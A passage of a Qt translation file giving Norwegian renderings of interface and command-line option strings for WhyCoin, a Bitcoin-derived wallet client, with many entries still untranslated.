<translation>Privat nøkkel for den angitte adressen er ikke tilgjengelig.</translation>
</message>
<message>
<location line="+12"/>
<source>Message signing failed.</source>
<translation>Signering av melding feilet.</translation>
</message>
<message>
<location line="+5"/>
<source>Message signed.</source>
<translation>Melding signert.</translation>
</message>
<message>
<location line="+59"/>
<source>The signature could not be decoded.</source>
<translation>Signaturen kunne ikke dekodes.</translation>
</message>
<message>
<location line="+0"/>
<location line="+13"/>
<source>Please check the signature and try again.</source>
<translation>Vennligst sjekk signaturen og prøv igjen.</translation>
</message>
<message>
<location line="+0"/>
<source>The signature did not match the message digest.</source>
<translation>Signaturen passer ikke til meldingen.</translation>
</message>
<message>
<location line="+7"/>
<source>Message verification failed.</source>
<translation>Verifikasjon av melding feilet.</translation>
</message>
<message>
<location line="+5"/>
<source>Message verified.</source>
<translation>Melding verifisert.</translation>
</message>
</context>
<context>
<name>TrafficGraphWidget</name>
<message>
<location filename="../trafficgraphwidget.cpp" line="+75"/>
<source>KB/s</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>TransactionDesc</name>
<message>
<location filename="../transactiondesc.cpp" line="+25"/>
<source>Open until %1</source>
<translation>Åpen til %1</translation>
</message>
<message>
<location line="+6"/>
<source>conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1/offline</source>
<translation>%1/frakoblet</translation>
</message>
<message>
<location line="+2"/>
<source>%1/unconfirmed</source>
<translation>%1/ubekreftet</translation>
</message>
<message>
<location line="+2"/>
<source>%1 confirmations</source>
<translation>%1 bekreftelser</translation>
</message>
<message>
<location line="+17"/>
<source>Status</source>
<translation>Status</translation>
</message>
<message numerus="yes">
<location line="+7"/>
<source>, broadcast through %n node(s)</source>
<translation><numerusform>, kringkast gjennom %n node</numerusform><numerusform>, kringkast gjennom %n noder</numerusform></translation>
</message>
<message>
<location line="+4"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+7"/>
<source>Source</source>
<translation>Kilde</translation>
</message>
<message>
<location line="+0"/>
<source>Generated</source>
<translation>Generert</translation>
</message>
<message>
<location line="+5"/>
<location line="+13"/>
<source>From</source>
<translation>Fra</translation>
</message>
<message>
<location line="+1"/>
<location line="+19"/>
<location line="+58"/>
<source>To</source>
<translation>Til</translation>
</message>
<message>
<location line="-74"/>
<location line="+2"/>
<source>own address</source>
<translation>egen adresse</translation>
</message>
<message>
<location line="-2"/>
<source>label</source>
<translation>merkelapp</translation>
</message>
<message>
<location line="+34"/>
<location line="+12"/>
<location line="+45"/>
<location line="+17"/>
<location line="+30"/>
<source>Credit</source>
<translation>Kredit</translation>
</message>
<message numerus="yes">
<location line="-102"/>
<source>matures in %n more block(s)</source>
<translation><numerusform>blir moden om %n blokk</numerusform><numerusform>blir moden om %n blokker</numerusform></translation>
</message>
<message>
<location line="+2"/>
<source>not accepted</source>
<translation>ikke akseptert</translation>
</message>
<message>
<location line="+44"/>
<location line="+8"/>
<location line="+15"/>
<location line="+30"/>
<source>Debit</source>
<translation>Debet</translation>
</message>
<message>
<location line="-39"/>
<source>Transaction fee</source>
<translation>Transaksjonsgebyr</translation>
</message>
<message>
<location line="+16"/>
<source>Net amount</source>
<translation>Nettobeløp</translation>
</message>
<message>
<location line="+6"/>
<source>Message</source>
<translation>Melding</translation>
</message>
<message>
<location line="+2"/>
<source>Comment</source>
<translation>Kommentar</translation>
</message>
<message>
<location line="+2"/>
<source>Transaction ID</source>
<translation>Transaksjons-ID</translation>
</message>
<message>
<location line="+3"/>
<source>Generated coins must mature 510 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to "not accepted" and it won't be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Debug information</source>
<translation>Informasjon for feilsøk</translation>
</message>
<message>
<location line="+8"/>
<source>Transaction</source>
<translation>Transaksjon</translation>
</message>
<message>
<location line="+5"/>
<source>Inputs</source>
<translation>Inndata</translation>
</message>
<message>
<location line="+21"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+1"/>
<source>true</source>
<translation>sann</translation>
</message>
<message>
<location line="+0"/>
<source>false</source>
<translation>usann</translation>
</message>
<message>
<location line="-202"/>
<source>, has not been successfully broadcast yet</source>
<translation>, har ikke blitt kringkastet uten problemer enda.</translation>
</message>
<message numerus="yes">
<location line="-36"/>
<source>Open for %n more block(s)</source>
<translation type="unfinished"><numerusform></numerusform><numerusform></numerusform></translation>
</message>
<message>
<location line="+67"/>
<source>unknown</source>
<translation>ukjent</translation>
</message>
</context>
<context>
<name>TransactionDescDialog</name>
<message>
<location filename="../forms/transactiondescdialog.ui" line="+14"/>
<source>Transaction details</source>
<translation>Transaksjonsdetaljer</translation>
</message>
<message>
<location line="+6"/>
<source>This pane shows a detailed description of the transaction</source>
<translation>Her vises en detaljert beskrivelse av transaksjonen</translation>
</message>
</context>
<context>
<name>TransactionTableModel</name>
<message>
<location filename="../transactiontablemodel.cpp" line="+231"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+0"/>
<source>Type</source>
<translation>Type</translation>
</message>
<message>
<location line="+0"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+0"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+52"/>
<source>Open until %1</source>
<translation>Åpen til %1</translation>
</message>
<message>
<location line="+12"/>
<source>Confirmed (%1 confirmations)</source>
<translation>Bekreftet (%1 bekreftelser)</translation>
</message>
<message numerus="yes">
<location line="-15"/>
<source>Open for %n more block(s)</source>
<translation><numerusform>Åpen for %n blokk til</numerusform><numerusform>Åpen for %n blokker til</numerusform></translation>
</message>
<message>
<location line="+6"/>
<source>Offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Unconfirmed</source>
<translation>Ubekreftet</translation>
</message>
<message>
<location line="+3"/>
<source>Confirming (%1 of %2 recommended confirmations)</source>
<translation>Bekrefter (%1 av %2 anbefalte bekreftelser)</translation>
</message>
<message>
<location line="+6"/>
<source>Conflicted</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Immature (%1 confirmations, will be available after %2)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>This block was not received by any other nodes and will probably not be accepted!</source>
<translation>Denne blokken har ikke blitt mottatt av noen andre noder og vil sannsynligvis ikke bli akseptert!</translation>
</message>
<message>
<location line="+3"/>
<source>Generated but not accepted</source>
<translation>Generert men ikke akseptert</translation>
</message>
<message>
<location line="+42"/>
<source>Received with</source>
<translation>Mottatt med</translation>
</message>
<message>
<location line="+2"/>
<source>Received from</source>
<translation>Mottatt fra</translation>
</message>
<message>
<location line="+3"/>
<source>Sent to</source>
<translation>Sendt til</translation>
</message>
<message>
<location line="+2"/>
<source>Payment to yourself</source>
<translation>Betaling til deg selv</translation>
</message>
<message>
<location line="+2"/>
<source>Mined</source>
<translation>Utvunnet</translation>
</message>
<message>
<location line="+38"/>
<source>(n/a)</source>
<translation>-</translation>
</message>
<message>
<location line="+194"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation>Transaksjonsstatus. Hold muspekeren over dette feltet for å se antall bekreftelser.</translation>
</message>
<message>
<location line="+2"/>
<source>Date and time that the transaction was received.</source>
<translation>Dato og tid for da transaksjonen ble mottat.</translation>
</message>
<message>
<location line="+2"/>
<source>Type of transaction.</source>
<translation>Type transaksjon.</translation>
</message>
<message>
<location line="+2"/>
<source>Destination address of transaction.</source>
<translation>Mottaksadresse for transaksjonen</translation>
</message>
<message>
<location line="+2"/>
<source>Amount removed from or added to balance.</source>
<translation>Beløp fjernet eller lagt til saldo.</translation>
</message>
</context>
<context>
<name>TransactionView</name>
<message>
<location filename="../transactionview.cpp" line="+54"/>
<location line="+17"/>
<source>All</source>
<translation>Alle</translation>
</message>
<message>
<location line="-16"/>
<source>Today</source>
<translation>I dag</translation>
</message>
<message>
<location line="+1"/>
<source>This week</source>
<translation>Denne uken</translation>
</message>
<message>
<location line="+1"/>
<source>This month</source>
<translation>Denne måneden</translation>
</message>
<message>
<location line="+1"/>
<source>Last month</source>
<translation>Forrige måned</translation>
</message>
<message>
<location line="+1"/>
<source>This year</source>
<translation>Dette året</translation>
</message>
<message>
<location line="+1"/>
<source>Range...</source>
<translation>Intervall...</translation>
</message>
<message>
<location line="+12"/>
<source>Received with</source>
<translation>Mottatt med</translation>
</message>
<message>
<location line="+2"/>
<source>Sent to</source>
<translation>Sendt til</translation>
</message>
<message>
<location line="+2"/>
<source>To yourself</source>
<translation>Til deg selv</translation>
</message>
<message>
<location line="+1"/>
<source>Mined</source>
<translation>Utvunnet</translation>
</message>
<message>
<location line="+1"/>
<source>Other</source>
<translation>Andre</translation>
</message>
<message>
<location line="+7"/>
<source>Enter address or label to search</source>
<translation>Skriv inn adresse eller merkelapp for søk</translation>
</message>
<message>
<location line="+7"/>
<source>Min amount</source>
<translation>Minimumsbeløp</translation>
</message>
<message>
<location line="+34"/>
<source>Copy address</source>
<translation>Kopier adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Kopier merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy transaction ID</source>
<translation>Kopier transaksjons-ID</translation>
</message>
<message>
<location line="+1"/>
<source>Edit label</source>
<translation>Rediger merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Show transaction details</source>
<translation>Vis transaksjonsdetaljer</translation>
</message>
<message>
<location line="+138"/>
<source>Export Transaction Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Comma separated file (*.csv)</source>
<translation>Kommaseparert fil (*.csv)</translation>
</message>
<message>
<location line="+8"/>
<source>Confirmed</source>
<translation>Bekreftet</translation>
</message>
<message>
<location line="+1"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+1"/>
<source>Type</source>
<translation>Type</translation>
</message>
<message>
<location line="+1"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+1"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+1"/>
<source>ID</source>
<translation>ID</translation>
</message>
<message>
<location line="+4"/>
<source>Error exporting</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Could not write to file %1.</source>
<translation>Kunne ikke skrive til filen %1</translation>
</message>
<message>
<location line="+100"/>
<source>Range:</source>
<translation>Intervall:</translation>
</message>
<message>
<location line="+8"/>
<source>to</source>
<translation>til</translation>
</message>
</context>
<context>
<name>WalletModel</name>
<message>
<location filename="../walletmodel.cpp" line="+208"/>
<source>Sending...</source>
<translation>Sender...</translation>
</message>
</context>
<context>
<name>bitcoin-core</name>
<message>
<location filename="../bitcoinstrings.cpp" line="+173"/>
<source>WhyCoin version</source>
<translation>WhyCoin versjon</translation>
</message>
<message>
<location line="+1"/>
<source>Usage:</source>
<translation>Bruk:</translation>
</message>
<message>
<location line="+1"/>
<source>Send command to -server or whycoind</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>List commands</source>
<translation>List opp kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Get help for a command</source>
<translation>Vis hjelpetekst for en kommando</translation>
</message>
<message>
<location line="-147"/>
<source>Options:</source>
<translation>Innstillinger:</translation>
</message>
<message>
<location line="+2"/>
<source>Specify configuration file (default: whycoin.conf)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Specify pid file (default: whycoind.pid)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Specify wallet file (within data directory)</source>
<translation>Angi lommebok fil (inne i data mappe)</translation>
</message>
<message>
<location line="-1"/>
<source>Specify data directory</source>
<translation>Angi mappe for datafiler</translation>
</message>
<message>
<location line="-25"/>
<source>%s, you must set a rpcpassword in the configuration file:
%s
It is recommended you use the following random password:
rpcuser=whycoinrpc
rpcpassword=%s
(you do not need to remember this password)
The username and password MUST NOT be the same.
If the file does not exist, create it with owner-readable-only file permissions.
It is also recommended to set alertnotify so you are notified of problems;
for example: alertnotify=echo %%s | mail -s "WhyCoin Alert" admin@foo.com
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+27"/>
<source>Set database cache size in megabytes (default: 25)</source>
<translation>Sett størrelse på mellomlager for database i megabytes (standardverdi: 25)</translation>
</message>
<message>
<location line="+1"/>
<source>Set database disk log size in megabytes (default: 100)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Listen for connections on <port> (default: 5937 or testnet: 55937)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Maintain at most <n> connections to peers (default: 125)</source>
<translation>Hold maks <n> koblinger åpne til andre noder (standardverdi: 125)</translation>
</message>
<message>
<location line="+3"/>
<source>Connect to a node to retrieve peer addresses, and disconnect</source>
<translation>Koble til node for å hente adresser til andre noder, koble så fra igjen</translation>
</message>
<message>
<location line="+1"/>
<source>Specify your own public address</source>
<translation>Angi din egen offentlige adresse</translation>
</message>
<message>
<location line="+4"/>
<source>Bind to given address. Use [host]:port notation for IPv6</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Query for peer addresses via DNS lookup, if low on addresses (default: 1 unless -connect)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Always query for peer addresses via DNS lookup (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Threshold for disconnecting misbehaving peers (default: 100)</source>
<translation>Grenseverdi for å koble fra noder med dårlig oppførsel (standardverdi: 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source>
<translation>Antall sekunder noder med dårlig oppførsel hindres fra å koble til på nytt (standardverdi: 86400)</translation>
</message>
<message>
<location line="-36"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source>
<translation>En feil oppstod ved opprettelse av RPC port %u for lytting: %s</translation>
</message>
<message>
<location line="+63"/>
<source>Listen for JSON-RPC connections on <port> (default: 5938 or testnet: 55938)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-16"/>
<source>Accept command line and JSON-RPC commands</source>
<translation>Ta imot kommandolinje- og JSON-RPC-kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Run in the background as a daemon and accept commands</source>
<translation>Kjør i bakgrunnen som daemon og ta imot kommandoer</translation>
</message>
<message>
<location line="+1"/>
<source>Use the test network</source>
<translation>Bruk testnettverket</translation>
</message>
<message>
<location line="-24"/>
<source>Accept connections from outside (default: 1 if no -proxy or -connect)</source>
<translation>Ta imot tilkoblinger fra utsiden (standardverdi: 1 hvis uten -proxy eller -connect)</translation>
</message>
<message>
<location line="-28"/>
<source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source>
<translation>En feil oppstod under oppsettet av RPC port %u for IPv6, tilbakestilles til IPv4: %s</translation>
</message>
<message>
<location line="+94"/>
<source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source>
<translation>Advarsel: -paytxfee er satt veldig høyt! Dette er transaksjonsgebyret du betaler når du sender transaksjoner.</translation>
</message>
<message>
<location line="-104"/>
<source>Warning: Please check that your computer's date and time are correct! If your clock is wrong WhyCoin will not work properly.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+132"/>
<source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source>
<translation>Advarsel: Feil ved lesing av wallet.dat! Alle taster lest riktig, men transaksjon dataene eller adresse innlegg er kanskje manglende eller feil.</translation>
</message>
<message>
<location line="-17"/>
<source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source>
<translation>Advarsel: wallet.dat korrupt, data reddet! Original wallet.dat lagret som wallet.{timestamp}.bak i %s; hvis din saldo eller dine transaksjoner ikke er korrekte bør du gjenopprette fra en backup.</translation>
</message>
<message>
<location line="-34"/>
<source>Attempt to recover private keys from a corrupt wallet.dat</source>
<translation>Forsøk å berge private nøkler fra en korrupt wallet.dat</translation>
</message>
<message>
<location line="+5"/>
<source>Block creation options:</source>
<translation>Valg for opprettelse av blokker:</translation>
</message>
<message>
<location line="-68"/>
<source>Connect only to the specified node(s)</source>
<translation>Koble kun til angitt(e) node(r)</translation>
</message>
<message>
<location line="+4"/>
<source>Discover own IP address (default: 1 when listening and no -externalip)</source>
<translation>Oppdag egen IP-adresse (standardverdi: 1 ved lytting og uten -externalip)</translation>
</message>
<message>
<location line="+102"/>
<source>Failed to listen on any port. Use -listen=0 if you want this.</source>
<translation>Kunne ikke lytte på noen port. Bruk -listen=0 hvis det er dette du vil.</translation>
</message>
<message>
<location line="+90"/>
<source>Invalid -tor address: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Invalid amount for -reservebalance=<amount></source>
<translation type="unfinished"/>
</message>
<message>
<location line="-89"/>
<source>Maximum per-connection receive buffer, <n>*1000 bytes (default: 5000)</source>
<translation>Maks mottaksbuffer per forbindelse, <n>*1000 bytes (standardverdi: 5000)</translation>
</message>
<message>
<location line="+1"/>
<source>Maximum per-connection send buffer, <n>*1000 bytes (default: 1000)</source>
<translation>Maks sendebuffer per forbindelse, <n>*1000 bytes (standardverdi: 1000)</translation>
</message>
<message>
<location line="-17"/>
<source>Only connect to nodes in network <net> (IPv4, IPv6 or Tor)</source>
<translation>Koble kun til noder i nettverket <nett> (IPv4, IPv6 eller Tor)</translation>
</message>
<message>
<location line="+31"/>
<source>Prepend debug output with timestamp</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source>
<translation>SSL valg: (se Bitcoin Wiki for instruksjoner for oppsett av SSL)</translation>
</message>
<message>
<location line="-38"/>
<source>Send trace/debug info to console instead of debug.log file</source>
<translation>Send spor/debug informasjon til konsollet istedenfor debug.log filen</translation>
</message>
<message>
<location line="+34"/>
<source>Set maximum block size in bytes (default: 250000)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Set minimum block size in bytes (default: 0)</source>
<translation>Sett minimum blokkstørrelse i bytes (standardverdi: 0)</translation>
</message>
<message>
<location line="-34"/>
<source>Shrink debug.log file on client startup (default: 1 when no -debug)</source>
<translation>Krymp debug.log filen når klienten starter (standardverdi: 1 hvis uten -debug)</translation>
</message>
<message>
<location line="-42"/>
<source>Specify connection timeout in milliseconds (default: 5000)</source>
<translation>Angi tidsavbrudd for forbindelse i millisekunder (standardverdi: 5000)</translation>
</message>
<message>
<location line="+116"/>
<source>Unable to sign checkpoint, wrong checkpointkey?
</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-87"/>
<source>Use UPnP to map the listening port (default: 0)</source>
<translation>Bruk UPnP for lytteport (standardverdi: 0)</translation>
</message>
<message>
<location line="-1"/>
<source>Use UPnP to map the listening port (default: 1 when listening)</source>
<translation>Bruk UPnP for lytteport (standardverdi: 1 ved lytting)</translation>
</message>
<message>
<location line="-26"/>
<source>Use proxy to reach tor hidden services (default: same as -proxy)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+46"/>
<source>Username for JSON-RPC connections</source>
<translation>Brukernavn for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="+54"/>
<source>Verifying database integrity...</source>
<translation>Verifiserer databasens integritet...</translation>
</message>
<message>
<location line="+43"/>
<source>Error: Wallet locked, unable to create transaction!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Error: Transaction creation failed!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Error: The transaction was rejected! This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Warning</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Information</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>WARNING: syncronized checkpoint violation detected, but skipped!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-1"/>
<source>Warning: This version is obsolete, upgrade required!</source>
<translation>Advarsel: Denne versjonen er foreldet, oppgradering kreves!</translation>
</message>
<message>
<location line="-53"/>
<source>wallet.dat corrupt, salvage failed</source>
<translation>wallet.dat korrupt, bergning feilet</translation>
</message>
<message>
<location line="-59"/>
<source>Password for JSON-RPC connections</source>
<translation>Passord for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="-48"/>
<source>Connect through SOCKS5 proxy</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Output debugging information (default: 0, supplying <category> is optional)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>If <category> is not supplied, output all debugging information.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source><category> can be:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Enter regression test mode, which uses a special chain in which blocks can be solved instantly. This is intended for regression testing tools and app development.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Allow JSON-RPC connections from specified IP address</source>
<translation>Tillat JSON-RPC tilkoblinger fra angitt IP-adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Send commands to node running on <ip> (default: 127.0.0.1)</source>
<translation>Send kommandoer til node på <ip> (standardverdi: 127.0.0.1)</translation>
</message>
<message>
<location line="+1"/>
<source>Wait for RPC server to start</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set the number of threads to service RPC calls (default: 4)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source>
<translation>Eksekvér kommando når beste blokk endrer seg (%s i kommandoen erstattes med blokkens hash)</translation>
</message>
<message>
<location line="+3"/>
<source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source>
<translation>Kjør kommando når en lommeboktransaksjon endres (%s i cmd er erstattet med TxID)</translation>
</message>
<message>
<location line="+3"/>
<source>Require a confirmations for change (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Upgrade wallet to latest format</source>
<translation>Oppgradér lommebok til nyeste format</translation>
</message>
<message>
<location line="+1"/>
<source>Set key pool size to <n> (default: 100)</source>
<translation>Angi størrelse på nøkkel-lager til <n> (standardverdi: 100)</translation>
</message>
<message>
<location line="+1"/>
<source>Rescan the block chain for missing wallet transactions</source>
<translation>Se gjennom blokk-kjeden etter manglende lommeboktransaksjoner</translation>
</message>
<message>
<location line="+3"/>
<source>How thorough the block verification is (0-6, default: 1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Imports blocks from external blk000?.dat file</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Use OpenSSL (https) for JSON-RPC connections</source>
<translation>Bruk OpenSSL (https) for JSON-RPC forbindelser</translation>
</message>
<message>
<location line="+1"/>
<source>Server certificate file (default: server.cert)</source>
<translation>Servers sertifikat (standardverdi: server.cert)</translation>
</message>
<message>
<location line="+1"/>
<source>Server private key (default: server.pem)</source>
<translation>Servers private nøkkel (standardverdi: server.pem)</translation>
</message>
<message>
<location line="+5"/>
<source>Error: Unsupported argument -socks found. Setting SOCKS version isn't possible anymore, only SOCKS5 proxies are supported.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Initialization sanity check failed. WhyCoin is shutting down.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+21"/>
<source>Error loading block database</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+28"/>
<source>Error: Wallet unlocked for staking only, unable to create transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Error: Disk space is low!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This is a pre-release test build - use at your own risk - do not use for mining or merchant applications</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-174"/>
<source>This help message</source>
<translation>Denne hjelpemeldingen</translation>
</message>
<message>
<location line="+105"/>
<source>Wallet %s resides outside data directory %s.</source>
<translation>Lommeboken %s holder til utenfor data mappen %s.</translation>
</message>
<message>
<location line="+36"/>
<source>Unable to bind to %s on this computer (bind returned error %d, %s)</source>
<translation>Kan ikke binde til %s på denne datamaskinen (bind returnerte feil %d, %s)</translation>
</message>
<message>
<location line="-131"/>
<source>Allow DNS lookups for -addnode, -seednode and -connect</source>
<translation>Tillat DNS oppslag for -addnode, -seednode og -connect</translation>
</message>
<message>
<location line="+127"/>
<source>Loading addresses...</source>
<translation>Laster adresser...</translation>
</message>
<message>
<location line="-10"/>
<source>Error loading wallet.dat: Wallet corrupted</source>
<translation>Feil ved lasting av wallet.dat: Lommeboken er skadet</translation>
</message>
<message>
<location line="+4"/>
<source>Error loading wallet.dat: Wallet requires newer version of WhyCoin</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet needed to be rewritten: restart WhyCoin to complete</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error loading wallet.dat</source>
<translation>Feil ved lasting av wallet.dat</translation>
</message>
<message>
<location line="-16"/>
<source>Invalid -proxy address: '%s'</source>
<translation>Ugyldig -proxy adresse: '%s'</translation>
</message>
<message>
<location line="-1"/>
<source>Unknown network specified in -onlynet: '%s'</source>
<translation>Ukjent nettverk angitt i -onlynet '%s'</translation>
</message>
<message>
<location line="+3"/>
<source>Cannot resolve -bind address: '%s'</source>
<translation>Kunne ikke slå opp -bind adresse: '%s'</translation>
</message>
<message>
<location line="+2"/>
<source>Cannot resolve -externalip address: '%s'</source>
<translation>Kunne ikke slå opp -externalip adresse: '%s'</translation>
</message>
<message>
<location line="-22"/>
<source>Invalid amount for -paytxfee=<amount>: '%s'</source>
<translation>Ugyldig beløp for -paytxfee=<beløp>: '%s'</translation>
</message>
<message>
<location line="+59"/>
<source>Sending...</source>
<translation>Sender...</translation>
</message>
<message>
<location line="+5"/>
<source>Invalid amount</source>
<translation>Ugyldig beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Insufficient funds</source>
<translation>Utilstrekkelige midler</translation>
</message>
<message>
<location line="-40"/>
<source>Loading block index...</source>
<translation>Laster blokkindeks...</translation>
</message>
<message>
<location line="-111"/>
<source>Add a node to connect to and attempt to keep the connection open</source>
<translation>Legg til node for tilkobling og hold forbindelsen åpen</translation>
</message>
<message>
<location line="+126"/>
<source>Unable to bind to %s on this computer. WhyCoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-102"/>
<source>Fee per KB to add to transactions you send</source>
<translation>Gebyr per KB som skal legges til transaksjoner du sender</translation>
</message>
<message>
<location line="+33"/>
<source>Minimize weight consumption (experimental) (default: 0)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>How many blocks to check at startup (default: 500, 0 = all)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Keep at most <n> unconnectable blocks in memory (default: %u)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>Acceptable ciphers (default: TLSv1.2+HIGH:TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!3DES:@STRENGTH)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Warning: Deprecated argument -debugnet ignored, use -debug=net</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Invalid amount for -mininput=<amount>: '%s'</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Cannot obtain a lock on data directory %s. WhyCoin is probably already running.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Error initializing wallet database environment %s!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Loading wallet...</source>
<translation>Laster lommebok...</translation>
</message>
<message>
<location line="+8"/>
<source>Cannot downgrade wallet</source>
<translation>Kan ikke nedgradere lommebok</translation>
</message>
<message>
<location line="+1"/>
<source>Cannot write default address</source>
<translation>Kan ikke skrive standardadresse</translation>
</message>
<message>
<location line="+1"/>
<source>Rescanning...</source>
<translation>Leser gjennom...</translation>
</message>
<message>
<location line="+2"/>
<source>Done loading</source>
<translation>Ferdig med lasting</translation>
</message>
<message>
<location line="-161"/>
<source>To use the %s option</source>
<translation>For å bruke %s opsjonen</translation>
</message>
<message>
<location line="+188"/>
<source>Error</source>
<translation>Feil</translation>
</message>
<message>
<location line="-18"/>
<source>You must set rpcpassword=<password> in the configuration file:
%s
If the file does not exist, create it with owner-readable-only file permissions.</source>
